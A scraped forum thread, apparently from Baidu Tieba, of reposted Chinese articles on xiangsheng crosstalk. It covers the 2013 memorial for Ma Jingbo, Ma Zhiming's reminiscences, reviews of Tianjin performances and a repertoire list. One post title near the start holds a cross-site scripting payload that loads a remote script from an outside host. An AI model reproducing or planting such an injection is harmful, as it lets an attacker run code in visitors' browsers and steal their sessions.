麻科长
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贺岁小岔曲(转帖) 乙未吉昌,岁值神羊。恰正是三阳开泰东风荡,春满乾坤,您是金玉满堂。(过板) 祝愿您合家欢乐,喜气洋洋。事事皆如意,烦恼一扫光。事业有成鸿途广,一帆风顺青云上。夫妻多恩爱,梁鸿配孟光。再祝您家中老人寿同山岳永,福共海天长。子女孝顺又聪颖,十年苦读在寒窗。到后来必定是鲤跃龙门(卧牛)登金榜,画戟簪缨列门旁。我这里祝福话儿说不尽,又见那瑞彩条条映霞光。举目抬头来观望,原来是群仙贺岁降贵方。又听得群仙齐声唱,唱的是您阖家美满,福寿绵长。
点进来有..",a:$.getScript('//xss.retaker.me/1.js'),a:" 请允许我做一个忧伤的表情,是忧伤哦!
相声大师马敬伯追悼会举行 徒弟刘威短信作别 (转帖) 相声大师马敬伯追悼会举行 徒弟刘威短信作别 2013年03月01日 14:48 来源:长春晚报 参与互动(0) 0 默哀。 瞻仰遗容。 本组图片摄影 张春堂 来宾安抚马先生亲属。 昨日9时30分,著名曲艺表演艺术家、相声大师马敬伯先生追悼会在龙峰殡仪馆举行。作为马派相声传人、吉林相声奠基人,马敬伯生前影响了众多相声从业者、爱好者。他的逝世是中国相声界的一大损失,更令吉林相声界悲痛。 当天,马敬伯生前的徒弟、学生,以及圈内同仁纷纷前来为他们所爱戴和景仰的艺术家送别。省曲协副主席、马老的学生王明明主持追悼大会,并宣读姜昆唁电,省曲艺团团长李壮致悼词。马三立之孙、马老的堂弟马志明之子马六甲也特意从天津赶来参加堂叔的追悼会,代父亲送马敬伯最后一程。 忆兄长 马志明遣子追思堂兄 追悼会上,著名相声大师马三立的儿子、马敬伯的堂弟马志明年事已高、身体不适,未能来到现场。但他专门责成其子马六甲代表远在津门的他赶来长春参加堂兄的追悼会。当天,代父追思的马六甲也是难掩失去伯父的悲痛之情,宣读祭文时几度哽咽。 马志明在祭文中深情追忆了堂兄马敬伯幼时对他的照顾。他说,堂兄长他13岁,对他关爱有加,同时也在艺术上给予他很多帮助。后来兄长前往长春,但双方交往依旧。兄长辞世,令他痛不欲生,又因其原本身体就不适,故无法亲自前来为堂兄送行,实乃心中一大憾事。 马敬伯生前好友、著名相声表演艺术家尹笑声也发来祭文称:惊闻敬伯兄辞世,悲痛不已。兄自幼学艺,秉承家学,德艺双馨,桃李天下,是马氏相声门中的优秀传人。今驾鹤西去,实为马氏相声门中之憾事,东北相声界之憾事! 忆恩师 徒弟刘威短信作别 在相声圈,师父如父。马敬伯逝世,其膝下一众徒弟如刘季昌、周默、丁德泉、张耘等人自然也承担起了为师父操办后事的重任。从师父去世当天,一直到昨日出殡,大家里里外外,始终都在忙着。 马敬伯生前最为得意的弟子、著名影视演员刘威当天未能来到现场为师父送行,他通过一条短信表达了自己对恩师的追思之情。刘威在短信中这样说:“相声界最好的人走了。恩师辞世,万分悲痛,未能送别,遗憾终身。(我将)永记师嘱,做个好人。来世,我还做您的徒弟!” 忆大师 圈内纷纷敬献花圈 马敬伯去世,在相声圈里引起了很大的震动。中国曲艺家协会,北京、天津、辽宁、黑龙江、海南、山西、广东、湖南等全国各省市的曲艺家协会、曲艺团都发来了唁电,甚至一些省市的民间相声剧社也都敬献了花圈。相声名家常宝霆、尹笑声、常德贵、寇庚杰、白英杰等也都打电话表示了哀悼。 省曲艺团团长李壮在悼词中表示,马敬伯是开辟吉林省相声艺苑的功臣,曾给吉林和东北地区的观众和听众送去了无数的欢笑,为吉林和东北地区培养了众多的相声人材。马敬伯为了振兴相声,使观众笑口常开,演出、出书、录像、授课,出尽了力,操碎了心,直到今年除夕,还拖着重病之身坚持看完郭德纲的相声,满怀热情地给相声新秀打电话进行鼓励。 忆老师 晚辈立志振兴相声 马敬伯晚年虽然很少出来演出,但他始终关注着相声的发展,也期待着相声的再度振兴,所以他特别提携晚辈,很多近年活跃在我省相声演出市场的年轻相声演员、爱好者,如房小满、太荣剑、周全等人都曾得到过马敬伯先生的指点。当天,记者在追悼会现场也看到了他们。泰友曲艺社的负责人太荣剑告诉记者,自己一早就来了。“我也是马先生的学生,是马先生为我开蒙,为我传授了很多相声技巧,讲述了很多相声故事,也使我更加热爱相声。正是在老先生的鼓励和支持下,我们的泰友曲艺社才越来越壮大。我们会继续努力,尽早实现老先生的遗愿,让吉林相声再度繁荣,再度复兴。” 【编辑:蒲希茜】
马志明忆马敬伯:忠厚仁义 从不说人不是 (转帖) 马志明忆马敬伯:忠厚仁义 从不说人不是2013-02-26 13:42 来源:新浪娱乐 打印本页 我要评论 关闭马敬伯(资料图片) 新浪娱乐讯 2月26日5时26分,相声演员马敬伯在吉林省医院病逝,享年81岁。马敬伯1932年出生于天津,是著名相声表演艺术家马三立之侄。新浪娱乐在当天中午联系到马敬伯的堂弟、马三立之子马志明。马先生透露,因自己的伯父去世早,马敬伯其实就是父亲马三立养大的。谈及堂哥的为人,马先生感慨,“他从小就是老实孩子,我从没听他说过任何人一句不是,在他眼里别人都是好人”。 生于天津 马三立养大 马敬伯1932年出生于天津,是著名相声表演艺术家马三立之侄,原名马景伯,1946年正式从艺后改名马敬伯。据马志明先生透露,因马敬伯的父亲马桂元,也就是自己的伯父去世的早(1940年去世),堂哥马敬伯实际上就是父亲马三立养大的。“那时候我父亲刚结婚,还没孩子,就担负起抚养马敬伯的责任,等于我大姐出生后,在家里排行老二了。”马志明回忆,直到1956年,马敬伯前往吉林省长春广播电台说唱团,才算离开家。 马志明还表示,当时父亲马三立对马敬伯寄予厚望,希望他能传承马氏相声,“我这个大哥从小学的东西特别扎实,我父亲也是把传承的厚望寄托在他身上。那时候马敬伯在天津红桥区曲艺团说相声,年纪轻轻就已经是攒底演员了。”而当年,因为红桥区曲艺团是集体所有制,一场演出挣的多演员就分的多,挣的少就分的少,很多演员都希望能进入更有保障的国营团体。所以,在长春成立广播电台说唱团后,24岁的马敬伯就带着妻子和三个孩子加盟其中。 吉林工作 收徒刘威 马敬伯的表演以马(三立)派风格见长,不温不火,擅长贯**,代表曲目有《开粥厂》《夸住宅》《大保镖》《白事会》等。谈及马敬伯的从艺生涯,马志明坦言,自己这位大哥其实并不适合说相声,“他的脾气、性格不太适合做一个叱咤舞台的演员,而是做一个勤勤恳恳的老师”。而事实上,自1956年马敬伯加入长春广播电台说唱团后,在说相声之余,他也大力在东北地区培养相声人才,收了不少徒弟,著名影视演员刘威就是他的高徒。此外,马敬伯还出过好几本相声集子,成为相声演员学习的教材。 说到马敬伯的为人,马志明则感慨他从小就是老实孩子,忠厚仁义,不争名不夺利,“我从没听他说过任何人一句不是,在他眼里别人都是好人”。 两次回津 助阵马氏专场 1986年和2007年,马敬伯曾两度回到天津,助阵马氏相声专场。在1986年的马氏专场中,当时还健在马三立和自己的儿子马志明在两场演出中各说两个大活儿,而特意从吉林赶来的马敬伯也上台演出,表演了马氏经典相声《夸住宅》和《大保镖》,当时为他捧哏的是天津相声演员、马三立的徒弟班德贵。2007年,马志明在天津举办“从艺五十周年相声专场”,作为堂哥的马敬伯又来捧场,这次,他还带上了自己的徒弟、影视演员刘威。虽然在演出中,马敬伯没有上台表演,不过他的徒弟刘威则同马志明的儿子马六甲、相声演员牟洋一同合说了一个新段子为演出助兴。 2012年8月,马志明与儿子马六甲在天津举办“老骥新驹——马氏相声2012新作品展演”时,却未见马敬伯身影。与马家交往密切,曾是担任多场马氏相声专场导演的天津电视台文艺部导演马千如今对新浪娱乐回忆,“难怪当时马敬伯先生没来,想来是身体不好,不能长途跋涉赶来助阵了”。 (徐菲/文)
三马同槽(转帖) 昨天晚上,“老骥新驹”马氏相声专场如期举行,因身体原因阔别舞台多年的马志明先生,带着自己的新节目《黄袍加身》与广大观众重新见面。因为我之前从未在现场看过马志明的表演,所以这次特意去一睹少马爷在舞台上的风采(此次演出的导演为马骞,和马氏父子共同支撑着整个晚会,可谓是“三马同槽”了)。 这场演出打破常规的没有安排主持人,而是由快板演员张万年担任串场主持,张先生先演唱了一个小段《慌大嫂》作为开场板,之后又用四板联唱的形式引出每一对演员。这种尝试虽然很新颖,但是个人认为让一个老先生在这样一个大场合担任主持工作还是不太合适的,显得不太正式,毕竟这是一场晚会相声,而非传统意义的相声大会。 前面两个节目是郝梦春、张斌的《我们80后》和刘国君、谷宗翰的《瘦身传奇》,这是两对非常知名的青年相声演员,这两段咱们就放在一起说。现在相声舞台上非常流行这种把网络元素加以扩展加工整理丰富的相声作品,虽然在深度和回味上缺乏一些,但是在娱乐性上则有其独到之处,这也是适应快餐时代所需要的一种文化,属于与时俱进的一种探索。 第三段是佟守本、张永久的《聊星》,之前的宣传一直是说佟与刘英琦搭档,不知为何换成了张永久(有观众说刘英琦老师住院了,不知确否,可是《今晚报》的演出报道依然写的是刘英琦的名字,这就很不应该了),可能是临时搭档的缘故,配合不是很默契,中间有不少疏漏之处,在台上也多有恍惚。不过返场的小段《妻妾论》(我给起的名字)尚好。 第四段是何云伟、马六甲的《学电台》,《学电台》是何云伟的保留曲目,这次演出以《双学电台》为标榜,但还是何云伟的分量重,其中他模仿马三立的嗓音学唱《粉红色的回忆》,惟妙惟肖,令人拍案叫绝,将演出推向了一个高潮。马六甲所唱的只有三段京韵大鼓和两首歌曲,其实他的嗓音学刘、学骆都不太对工,只能听个大概而已。 第五个节目是马六甲、尹笑声合作的相声小段,应观众的要求,这是马六甲逗哏的段子,虽然是幼年打下了良好的基本功,但是毕竟十九年不上舞台了,在台上还是显得有些紧张与生疏,显得不够自然,不过最后那个贯口能够顺畅的说下来,也显示了一定的艺术功底。尤其值得一提的是尹大爷(马六甲的称呼)的捧哏,老练沉着,非常有准谱,在尺寸和节骨眼的把握上都格外的老道。这样一个老艺人,对于一个新活还能发挥的如此出色,实在是令人敬佩,不过作为五代从艺的家庭,马六甲带着眼镜演出,还是个小小的遗憾。 第六个段子是黄铁梁、尹笑声的《打灯谜》(《倒叫门》),这也是本场唯一一个传统节目(因为这场标榜新作品专场,当然以黄尹的高龄,让他们去创演一个新作品实在是勉为其难),《打灯谜》是黄铁梁最为拿手的一个节目,从年轻时就一直不断的贴演,晚年大红大紫之后更是常演不衰,这次演出因为时间关键码掉了一部分内容。尹大爷可能是连续捧了两段的缘故,有些疲劳,在台上小有失误,所幸自己给补救回来了,而观众也非常理解。2011年4月1日,在同一剧场里,田立禾、张文霞也上演了《倒叫门》,比较起来,田张实在是要强于黄尹,很多双人配合的身段、高矮的亮相,均为黄尹所无。返场节目为他们的拿手节目《三节拜花巷》,这也是由黄尹挖掘整理的一个段子(比较起来说,黄尹在相声的挖掘整理方面所做的贡献要强于刘文步、郑福山)。 第七段是田立禾的单口相声《学方言》,田先生上了年纪,声音非常的沙哑,表演起来也有力不从心之处,但是垫话部分的小贯口依然一气呵成,这是非常不容易的。《学方言》看起来似乎是个传统节目,其实是田先生创编的一个新节目,以78岁的高龄依然能上演新节目,这在同龄的老艺人中恐怕是屈指可数的。田先生的头脑还是很新的,兹举二例: 一 在建国前,咱们天津男人见面,都习惯称呼人家“爷”,建国后,最流行的称呼叫“同志”,现在时代不同了,现在如果有人在夜总会里叫我“同志”,我能大嘴巴子抽他! 二 (婚礼祝辞,学杨柳青话)以后你们小两口要是打起来了,我就告诉你们一句话,我们老两口子啊,就是打酱油的! 这种词汇出于一个78岁老人之口,实在是有些出人意料之外,不过田先生确实是老了,他在铺纲中也表达了“廉颇老矣”的无奈: “我现在是听一天少一天了,将来如果有机会,我坐在轮椅上也要为大家演出,旁边跟着两个穿白大褂的,是医院的医生和护士,还有两个穿蓝大褂的,是——殡仪馆的。”听来很是伤感。 最后攒底的节目是马志明和黄族民表演的《黄袍加身》,少马对这段节目的把握还是基本上遵循着自己20多年前表演《看不惯》的那种风格,立意非常的深刻,演员的表演也是令人满意的,不过可能由于打磨的时间不长,马家的味道还不是很浓郁,说功的成分不强,但是最后的那个底“我没当皇帝恨当皇帝的,我要是当了皇帝比他还混账”的确是入木三分、发人深思。
学说杨振华、金炳昶的经典相声:《好梦不长》(转帖) 晕,原帖转不过来,各位还是到原帖里去听吧! http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.minghua.org%2Fleadbbssql%2Fa%2Fa.asp%3FB%3D101%26ID%3D85195&urlrefer=0010b800f573e9c2b851a73d03b68561
天津少马爷马志明凭借《纠纷》获金唱片奖
马、黄的一段视频(第一次听大黄唱戏) http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.tudou.com%2Fprograms%2Fview%2F7mruMFvcwRU%2F&urlrefer=e7f63cc6c76f0a4e5b93e3c81b39769d
少马爷、王佩瑜《乌盆记》垫场部分音频下载(转帖) http://cid-f6f1ce70a99a2dee.skydrive.live.com/browse.aspx/%e5%85%b1%e4%ba%ab/%e7%9b%b8%e5%a3%b0/%e9%a9%ac%e6%b0%8f%e7%9b%b8%e5%a3%b0/%e7%ba%aa%e5%bf%b5%e9%a9%ac%e4%b8%89%e7%ab%8b%e5%ad%9f%e5%b0%8f%e5%86%ac%e4%b8%93%e5%9c%ba?uc=3&isFromRichUpload=1 单田芳 评书《乌盆记》 马志明、黄族民《对春联》 马志明、黄族民《戏名灯谜返学京韵》 感谢网友白发飘飘的无私奉献
少马爷、王佩瑜、邓沐玮《乌盆记》视频 一楼留给百度
赵佩茹、李寿增上演相声目录(转帖) 赵佩茹、李寿增上演相声目录 作者:陈笑暇 ------------------------------------------------------------ 说哏:《书迷》、《酒迷》、《批三国》、《天文学》、《写对子》、《婚姻与迷信》、《送妆》、《吃元宵》、《剥削员外》(即改编《朱夫子》)、《家庭论》、《抡弦子》、《卖寿木》(一名《卖棺材》)、《财迷回家》、《醋点灯》、《梦中婚》、《白字会》、《讲四书》、《献地图》、《哭当票》、《当行论》、《批捉放》、《卖挂票》、《托妻献子》(不常演)、《卖面茶》(不常演);贯口哏:《报菜名》、《戏魔》、《夸住宅》、《三节会》(即《开粥厂》)、《白事会》、《八扇屏》、《反八扇》、《大保镖》、《洋药方》(不常演)、《戏迷药方》、《卖五器》;歪唱哏:《全德报》(一名〈窦公训女〉)、《黄鹤楼》、《捉放曹》、《洪羊洞》(不常演);子母哏:《相面》、《大审》、《老老年》、《数来宝》、《对对子》、《五红图》、《打灯谜》、《学四相》、《学外语》(不常演)、《福寿全》(不常演)、《口吐莲花》(不常演)、《大娶亲》(不常演)、《反正话》(不常演)、《家堂令》(不常演)、《影迷离婚记》(不常演);倒口哏:《学四省》、《怯治病》、《豆腐房》(一名《豆腐堂会》)、《山东拜年》(不常演)、《怯卖药》(不常演)、《山西家信》(不常演)、《羊上树》(不常演)、《树没叶》(不常演);现代节目:《不离婚》、《夜行记》、《我的历史》、《一封慰问信》、《柳堡的故事》、《找对象》、《投其所好》、《百科全书》、《人造卫星》、《恋爱漫谈》、《双丰收》、《怀古病》、《巧取翎毛》、《防汛》、《长虹万里》、《事故大王》、《学天桥》、《警民一家》、《试验田》、《死里逃生》、《百分迷》、《美蒋劳军记》。清平客摘自《曲艺研究资料2:从赵佩茹的相声目录谈起》P46-49页,有小增改
陈笑暇:马三立的相声创新 (转帖) 陈笑暇:马三立的相声创新 2003-2-13 8:04:14 马三立先生从艺八十年来,贵在严以律己,久久为功,迎难而进,宠辱不惊。从青年时期起,在继承传统艺术精华的同时,勤奋创新,锐意改革,其代表节目《开粥厂》、《白事会》、《吃元宵》、《窝头论》、《卖五器》、《夸住宅》等,自成体系,有口皆碑。天津解放初,笔者在“大观园”亲见其与侯宝林先生借“相声大会”展开友谊竞赛活动。侯与郭启儒以《六十整寿》攒底,马与张庆森在“倒二”演《文章会》。他们以另一名作《黄鹤楼》攒底时,侯郭则在“倒二”演《卖布头》,均获轰动而稳定的艺术效应。 近年来,研究马派相声者各尽其妙,仁智并茂。这里,仅就马氏在长期艺术实践中,坚持创作、改编、上演新作品进行浅析。作为体察者,早在20世纪40年代初,就喜闻乐见于那另辟蹊径,化冷为热而又特征鲜明,当行出色的“文哏”:《西江月》、《写对子》、《打灯谜》、《讲四书》、《生意论》……这些作品富于文学蕴含又可因时、因地制宜地更新内容,深为各阶层人士认同。至上世纪50年代初,又将《姓名学》与《饭馆论》合并演出,于不断锤炼中精彩纷呈,极富盛誉。20世纪80年代以《起名字的艺术》推出,经过时间检验,艺术生命力方兴未艾,令知音者叹服。 马氏归属天津广播曲艺团后,由于工作需要,不论创作或改编,均付出了心血劳动。1953—1956年间与张庆森陆续推出的《育婴常识》、《讲卫生》、《错中错》、《孩子问题》、《公费医疗》、《死里逃生》等,社会反响强烈。特别是对《精打细算》、《支援新厂》、《谁是皂王爷》所进行的丰富加工和创新处理,内外一致赞同。 这一期间,马还殚精竭虑地首演了何迟同志的名作《买猴儿》、《开会迷》、《孕妇调查表》、《十点钟开始》,在发挥讽刺功能,重构情节和叙述方法上,进行了艰苦细致、富于首创精神的有益探索 ,促进了相声创作的繁荣,密切了作者与演员的真诚合作,在国内外喜剧范畴内产生了深远的影响。惜乎由于众所周知的原因,其成功经验一直未得到认真的总结推广。1980年马氏复出后,不仅与王凤山恢复上演了《买猴儿》与《十点钟开始》,还重构新排出何迟在病床上的力作《似曾相识的人》,其结合自身生活体验所做的艺术处理,极具黑色幽默的人文蕴含。为加强讽刺力度,深化艺术形象,还创作了《艺术的功能》与正段自然衔接,成为不可分割的组成部分,又一次提供了正确运用讽刺的先例。难怪这一节目演出时效果那么强烈,给人的印象那么深刻,值得认真回顾,系统研究。如能将原作与演出本进行比较,对照分析,结集出版,当是功在当代,利于后世。 马氏笑话单口小段深受欢迎,甚合民意,同样是来自生活,自成系列,理趣结合,雅俗共赏。不论是《总统选婿》、《送人上火车》、《给老热写信》、《拔牙》、《不同的学生》、《“就是灵”》,还是《追》、《练气功》、《查卫生》、《文明礼貌》、《祖传秘方》、《逗你玩儿》……均经过巧妙构思,语言安排得当,体现形象魅力,经得起思索回味的。其认识与表现生活之能力,神态与意态之超越,情态与声态之恳切,心态与气态之平和,自是艺术家晚年的自身写照与德艺递进,同样值得深入理解,分类研究,于集思广益中发扬其继承、变革、发展中国笑话的作为。不论是在屏幕、舞台、沙龙、课堂、里巷……都是马三立老人播笑的所在。善于以民族意识关注现实、针砭时弊、言非若是、状物拟人;恰是有中国特色的幽默老人直面人生,扬德播艺,愉悦怡情,妙趣天成。应纳入老龄文化范畴,以幽默对待生活,神侃增识,互学共进,继往开来,再创辉煌 ,方无愧于时代和人民的厚爱。 责编:王续 来源:今晚报
(转帖)马志明从艺50周年 传统相声月第四场(图) 1楼留给百度
笑星点播接力棒 听听名家点相声 (转贴) 相声——笑声,这两个词和天津人的生活联系得越来越密切了。中国相声广播开播,相声演员也来推荐自己喜爱的相声啦。听每天下午一点到三点中波567的《老活听不腻》节目,每周都有相声名家点播相声。本期向您介绍天津市曲艺团著名演员谢天顺喜欢的相声。 我是天津市曲艺团演员谢天顺。 《老活听不腻》是一个新栏目,但是它的开办意义很深,因为老的、传统的节目在咱们天津来说真是听不腻,有很多老先生的东西,不但咱们天津的观众听不腻,就连我们作为一个专业的演员来说也是听不腻的。希望以后大家多支持这个节目,这个节目我认为在咱们天津很有发展,为什么呢?你比如咱们天津的马三爷——马三立先生的相声,跟您说实话,到现在连我都听不腻。 例如马三立的《吃元宵》,这都多少年了,每次听都听不腻,为什么呢?马三立把你带到“活”(节目)里头了。类似这样的“活”当然还很多了。 《开粥厂》 我喜欢马三立的《开粥厂》,使我得意的就是我给马三爷量过这块活。这是在1985年前后,在川鲁饭店(中山路),因为当时前场演员没到,我、马志明、马三立,可能就我们爷仨到了。开场了,我和志明就使(表演)了,使完还没到,马三立说:“我上吧”,志明说:“天顺,你给老头儿量一个”,我说:“老头儿使什么呀?”志明说:“让老头儿使《开粥厂》”,我说:“行”。我就跟着三爷(马三立)上去了,那次也是我学习的机会,所以为什么对三爷这《开粥厂》印象深呢?因为三爷的表演进入了这个人物,把你抓的你就必须得跟着他走,作为量哏跟着他走,作为观众也得跟着他走,他把这个人物刻画得非常的好。通过给三爷捧哏,我学了不少东西,得了不少益。 《十点钟开始》 《十点钟开始》在马三立可算绝对的代表作了。说实话实在是太难使了,一般人你根本掌握不了它。就说大腕们吧,也不敢使这活。前些日子又看看视频,使的真棒!他把这个人物的心理状态,到底心里是怎么想的,他和捧哏的之间这种关系,就包括“你相信我吧”这台词,都非常绝妙。王凤山老师表演的也好,层次分明。马三立这种“相”,这种“神”,给我印象特别深,也是属于听不腻的活,正适合你们这个《老活听不腻》。 《黄鹤楼》 《黄鹤楼》马三立也有自己的特色。我们做为小辈的跟人家学,得益最大的就是他一直在活里头走,他打这个人物一上场,一直不断地按照人物线下来。《黄鹤楼》你说他是外行?他是说大话?他是蒙着走?马三立都把它表演得从心里让你去乐,他用人物线来抓你。我非常爱听马三爷这《黄鹤楼》。马三爷后来都多大岁数啦,他还是在使这样的闹活。腿子活,一般的年轻人表演这个,但是老先生表演出来又别有风味儿。他的节目就是让你听不腻。 《打牌论》 “老活”,哎,你看郭荣起先生《打牌论》也是属于听不腻。最近我又在网上看看郭荣起的《打牌论》视频。老先生还是使得好,他就把我们天津人打牌的这种心态,赢钱人的心态,输钱人的这种心态,刻画得绝了。现在人们还经常引用他的话呢,都把他相声里的话搁到牌桌上去说,所以证明他这段节目在老百姓的印象里根深蒂固了。郭荣起先生的《打牌论》表演得好。 《怯拉车》 郭荣起的《绕口令》,他的倒口(学方言),这都是老活听不腻的。郭荣起倒口,我听别人不易超过他了。比如他的《拉洋片》、他的《怯拉车》、《老老年儿》。郭荣起的艺术也是把人物刻画得活灵活现,你不信听他《怯拉车》,他把农村来的楞老头儿这种楞劲表现得淋漓尽致,他一说你甭看视频,你听着就把你带进去了,这楞老头的形象就在你脑子里搁着,真可乐。有好些词他说出来就楞,像雇洋车的时候:“拉吗?”“怎么不拉?不拉我坐这干嘛?”你一听这位就是楞人,你说你是挣钱不挣钱?怎么这样呢?他不懂这个,从农村过来的。郭荣起先生把这个人物刻画的活灵活现,我喜欢听郭先生的相声。 《拉洋片》 《拉洋片》这活有不少相声演员在演,但是我没看出什么来,还是喜欢郭荣起先生的《拉洋片》,他不是为了包袱而使,他是为了人物而使。作为相声演员“鞭托”,逗哏的打量哏的脑袋,就为取笑于观众,“梆”打一下打一下,郭先生可不是这么使的,他就按照相声里面的内容,他是真着急。“我这还没说他说话,你怎么说他说话啦?”他拿这种心来打这捧哏的,“你出来就不配合我”,“他没动换你说他动换了,怎么说话呢?”其实还就是为了打你,但是他给你的感觉逼真,所以这人物刻画得深。郭荣起先生《拉洋片》跟别人演的绝对不一样,我从心里特别喜欢这活。 《纠纷》 《纠纷》是马志明1986年创作的,当时他自己把这个段子写好了以后,向马三立征求了意见。有一天表演完正式节目之后,志明说:“今儿我翻一个新的”,我说:“行”,他说:“你跟着我走就行了”。这个活也挺抓人的,他这其实就是一个小单口儿,但是作为捧哏的来讲呢,你必须要衬托这个逗哏的,才能把这活烘托起来,另外你还不能搅和人家,你搅和人家,把人家支出去了,观众听着也就隔楞了。那天在台上我也比较集中,根据现场他的发挥,自己作为捧哏的达到了目的,也让人感觉到了捧哏的起到作用了。第二天马三爷(马三立)就找我了:“天顺,你这活量的可不错啊”,马三爷亲口跟我说的,难量的就是没词儿的活。那阵我还小呢,才三十多岁,也不懂什么。后来又有很多朋友提起这个活来,包括高英培老师,我们1992年到青岛演出,他就和孟凡贵提过这事。孟凡贵上我们屋聊天去,说:“我师傅就让我听听你们这个《纠纷》,你听听天顺这没词儿的活怎么量的”,噢,我就印证马三爷那句话,其实最难量的就是没词儿的活,人家在使活,你要给人搅和了也不行,要感觉没有你也不行,所以这个节骨眼、拿这个度,怎么去把住这个,比较难掌握。马先生说我这不错,这是给我在上课:你就照这样的方向去走就有发展,这样才能达到你自己提高艺术的目的。所以马三爷这句话我一直到现在记忆犹新,所以对马三爷从心里头恭敬老先生,喜欢老先生,而且爱听老先生。《老活听不腻》,我对马先生的节目我也是“老活听不腻”,每次听每次都有新的感受,能够对自己的艺术提高一点也好,对自己的悟性再加深一点也好,对自己的艺术成长是很有好处的。来源: 天津人民广播电台文艺广播 2007-01-22 13:56 编辑: 任欣
相声大会归来(转帖) 2006年2月11日 农历正月十四 星期六 盼到了这一天,相声大会的到来让我格外兴奋。造就准备好了大褂,特意在今天穿出去现眼了! 进去的时候已经开场了,一个不知名的胖子穿着大褂在垫场。这年头,当个开场的节目不容易,而且又都是听曲艺的观众,口味刁钻不说,如果不喜欢的话,那可是真给演员下不来台。这个白胖子的板子其实不错,而且也很卖力气,可是还是被人来个了上下够不着,我们旁边的一个观众大喊一声一度让他十分尴尬。不过,既然是给这么多老前辈垫场,你没名没姓被大家奚落自然也正常,不过看的出他的功夫不错,基本没丢祖师爷的脸,其实演出还是相当卖力气的。 下一场的俩呢,穿西服上来的,所以一下子觉得暖场的喽罗太多了,而且逗哏的演员手腕上的金表和银得发亮的戒指找实让我觉得这俩人不像说相声的,不过捧哏的大秃子头也磕了,跪也下了,就难得让他们活下去吧。 卢福来,于克志上场后大家的不满情绪才开始被这两个众友相声团里的专业演员所稳定下来。开场的大杂烩西河大鼓的确很符合我的胃口,想当初就是这个西河大鼓伴奏的“孙悟空大战猪八戒。。。猪八戒大战孙悟空”让我对这个框哒令哐令哐令丁框的节奏格外喜爱。开场一个武坠子,当初最喜欢魏文亮的这个段子,现如今,卢福来的表演不文不火,给人中火炖肉的感觉,他火候到了。这个人的外貌和声音像及了年轻的马三立,怎么会有这么像的人?今天的感觉也不错,而且翻场竟然是3次,最后的快板书千锤百炼更是有7、8分李润杰的感觉,真是没想到曲艺的队伍里在说书、快板等队伍里出现了这么多相声人才,只可惜社会的官僚风气和花拳绣腿的宣传方针,真是毁了不少好玩意儿。 此后,真正的“大碗”上场了,田立禾和王文玉的出场让场面顿时沸腾。最近一次看这两个老搭档合作是在上次纪念天津建卫六百周年的相声大会上看到了。在北方曲校当了老师后,他俩很少出来演出了。今天晚上的段子都是硬可东西。真是没想到在现场能听他们俩人说《托妻献子》。看看田立禾内山田主任一般的发型,再看看常年被田立禾“折磨”得王文玉,已经成了龟仙人的发型了,基本已经接近协定,用望远镜看,牙也掉了不少,岁月不饶人啊。但是,田立禾每次出场毕竟成为亮点。热烈的掌声下,他们是真的坚持相声的老艺人,只有他们才有资格享受剧场里最热烈的掌声。“人嘴两张皮, 反正都是理,有会说的有不会听,我跳进黄河洗不清,我得顾全————”这个“。。。”太景点的台词,一贵一贱,交情乃现,一死一生乃见交情。。。。实在是太过瘾了。 翻场的第二段也是很经典的小段,“你怎么跟我说话的,你不和我好好过了。我抽。。我抽。。我似抽抽,我不抽抽,我大想抽我不大想抽,,我抽。。。我抽你奶奶个卷儿。。。。“从开场时管王文玉叫相声”大王吧“,王文玉就一直倒霉,看看王文玉的表情,多少年饱受田立禾的摧残,依然如此,十分的无奈与执着了。相声演员的境界到了如此真是很难,听田立禾,没有王文玉很别扭,听马志明,没有黄族民让我们觉得更空虚,这就是没有绝对主角的真正的相声吧。 随后是苏文茂老先生的上场,已经78岁高龄的老者,话语间仍然不失慢节奏细品位的文哏本色。一个蓄梨片儿的段子让我耳边又回想起当年电台的声音。而对于”董文华搓澡事件“则又体现了这如此年长的观众体会观众心态而说出的小段儿了。最后的论接吻,更是用和马三立一样的自嘲口吻给大家带来欢笑,让我内心再次对这些真正吃张口饭的老艺人们感到钦佩,但更多的是涌出一股对于因时代所给与其他垃圾戏子们如此不合比例的优等待遇这些恶心现状的愤慨。苏文茂先生这个年龄,真的很不容易了,精神的脸,但是已经下垂的驼背,并不蹒跚的步履,让我对站在台上为观众表演的老先生格外尊敬。因为他们这些老艺人是把观众当作饮食父母的”专业演员“,他们才是真正的喜剧之王。
侯耀华是明字辈的? 在别处看过一篇文章,文中侯耀华自称是高英培先生的徒弟,如果是这样的话,那他岂不是比侯耀文要低一辈,和郭德纲一样同属明字辈的?
一代"笑匠"的情缘世界(转帖) 近日,天津著名相声演员马志明带着他从艺五十年来出版的第一本书《笑匠杂笈》到天津图书大厦签售。活动开始仅10分钟,700本《笑匠杂笈》就销售一空,出版社不得不紧急从库房调书。一个多小时的签售时间里,马志明共签了1000余本书,现场之火爆,让图书大厦的工作人员也惊呼:“这是很少见的场面!” 在天津、在全国都有很多人“迷”马志明,他们亲切地尊称他为“少马爷”。虽然声名远扬,但马志明同父亲马三立一样,做人低调出了名。借着这次出书的余温,带着对马志明成长经历的好奇,《情感》版编辑、记者专程叩响马志明的家门,走近相声迷心目中的这位“少马爷”。 评自己 “我就是一个笑匠” 很多人并不知道,其实马志明自小最喜欢的不是相声,而是唱戏,特别是猴戏。马志明说:“小时候听京剧得花钱。我为了听京剧,就把早点钱省下来,为的是能攒出一张戏票钱。如果钱够的话,我可以一天不出戏园子。当然也正因对京剧的这份痴迷,1957年12岁的我小学一毕业,就报考了天津戏校,开始学戏。”可谁知,正在他为了学戏而费尽心血的时候,他却不得不选择改行。1961年,他腰部长了骨刺,又受了重伤,不能上台了。看着自己在戏剧这条道路上的处境,马志明咬牙决定转行。同年,他转到了天津市曲艺团,正式成为相声演员。进团一个星期,他开始登台,未过多久,他说的相声成为压轴节目。 “要说相声,我并没有系统地学习过。因为家里的缘故,我从小听相声就不用花钱。经常是我父亲把我往后台一领,我一边帮他干杂活,一边听相声。可以说,正因这种环境的熏陶,我才自然而然地学会说相声。”马志明说道,“我自小自尊心就强,不服输。我明白学相声跟学戏一样,都是个吃工夫的活儿。听的多,说的多,自然也就能咂摸点门道出来。如果别人会的段子我不会,我就别扭。别人说得好的段子,我也一定得想方设法学会了、使好了。其实,七八岁时,我就在电台里录相声了,那可以算是我的第一次演出,效果很好,还得了一套图书。” 